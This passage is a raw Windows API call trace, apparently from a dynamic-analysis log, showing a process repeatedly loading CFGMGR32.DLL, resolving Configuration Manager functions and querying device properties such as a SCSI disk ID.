lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.800] malloc (_Size=0x18) returned 0x20abc282080 [0242.800] CM_Get_Device_IDA (in: dnDevInst=0x1, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SCSI\\DISK&VEN_&PROD_ST3160215AS\\4&305DAB9F&0&000000") returned 0x0 [0242.801] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4c7d332b, dwHighDateTime=0x1d9eb0c)) [0242.801] SetEvent (hEvent=0x248) returned 1 [0242.805] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.805] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.808] malloc (_Size=0x18) returned 0x20abc281e60 [0242.809] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0242.809] malloc (_Size=0x138) returned 0x20abc286950 [0242.809] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286950, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286950, pulLength=0x2dc22fd3f8) returned 0x0 [0242.810] free (_Block=0x20abc286950) [0242.810] malloc (_Size=0x48) returned 0x20abc2a8190 [0242.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4c7d332b, dwHighDateTime=0x1d9eb0c)) [0242.810] SetEvent (hEvent=0x248) returned 1 [0242.813] malloc (_Size=0x18) returned 0x20abc281e40 [0242.813] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.813] free (_Block=0x20abc281e40) [0242.813] malloc (_Size=0x18) returned 0x20abc281960 [0242.814] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.814] free (_Block=0x20abc281960) [0242.814] malloc (_Size=0x18) returned 0x20abc281f80 [0242.814] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.814] free (_Block=0x20abc281f80) [0242.814] malloc (_Size=0x18) returned 0x20abc2819a0 [0242.814] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.814] free (_Block=0x20abc2819a0) [0242.814] malloc (_Size=0x18) returned 0x20abc282000 [0242.814] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.814] free (_Block=0x20abc282000) [0242.814] malloc (_Size=0x18) returned 0x20abc2819a0 [0242.814] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0242.814] free (_Block=0x20abc2819a0) [0242.814] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0242.862] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.862] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0242.862] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0242.862] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0242.862] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.862] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0242.862] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0242.862] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.863] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf20f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.865] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0242.865] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0242.867] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.867] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.871] malloc (_Size=0x18) returned 0x20abc281fa0 [0242.871] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0242.871] malloc (_Size=0x28) returned 0x20abc2a9df0 [0242.872] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9df0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9df0, pulLength=0x2dc22fd3f8) returned 0x0 [0242.872] free (_Block=0x20abc2a9df0) [0242.872] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4c86b89e, dwHighDateTime=0x1d9eb0c)) [0242.873] SetEvent (hEvent=0x248) returned 1 [0242.876] malloc (_Size=0x18) returned 0x20abc2819a0 [0242.876] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0242.876] free (_Block=0x20abc2819a0) [0242.876] malloc (_Size=0x18) returned 0x20abc281bc0 [0242.876] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0242.876] free (_Block=0x20abc281bc0) [0242.876] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0242.876] SafeArrayGetDim (psa=0x20abbaf2460) returned 0x1 [0242.877] SafeArrayGetLBound (in: psa=0x20abbaf2460, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0242.877] SafeArrayGetUBound (in: psa=0x20abbaf2460, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0242.877] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0242.877] SafeArrayGetDim (psa=0x20abbaf2460) returned 0x1 [0242.877] SafeArrayGetUBound (in: psa=0x20abbaf2460, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0242.877] SafeArrayGetElemsize (psa=0x20abbaf2460) returned 0x8 [0242.877] SafeArrayGetElement (in: psa=0x20abbaf2460, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0242.877] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.878] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.878] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0242.879] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0242.880] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.880] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.883] malloc (_Size=0x18) returned 0x20abc281ce0 [0242.883] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.887] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c891bcd, dwHighDateTime=0x1d9eb0c)) [0242.888] SetEvent (hEvent=0x248) returned 1 [0242.893] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.893] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.894] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.895] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.896] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.897] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.897] malloc (_Size=0x18) returned 0x20abc281dc0 [0242.897] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.898] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c8b7dca, dwHighDateTime=0x1d9eb0c)) [0242.898] SetEvent (hEvent=0x248) returned 1 [0242.902] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.902] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.905] malloc (_Size=0x18) returned 0x20abc2819c0 [0242.906] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0242.906] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c8b7dca, dwHighDateTime=0x1d9eb0c)) [0242.906] SetEvent (hEvent=0x248) returned 1 [0243.008] malloc (_Size=0xd8) returned 0x20abc284e70 [0243.008] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0243.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0243.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0243.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0243.008] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0243.009] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0243.010] GetProcAddress (hModule=0x7ffb1ced0000, 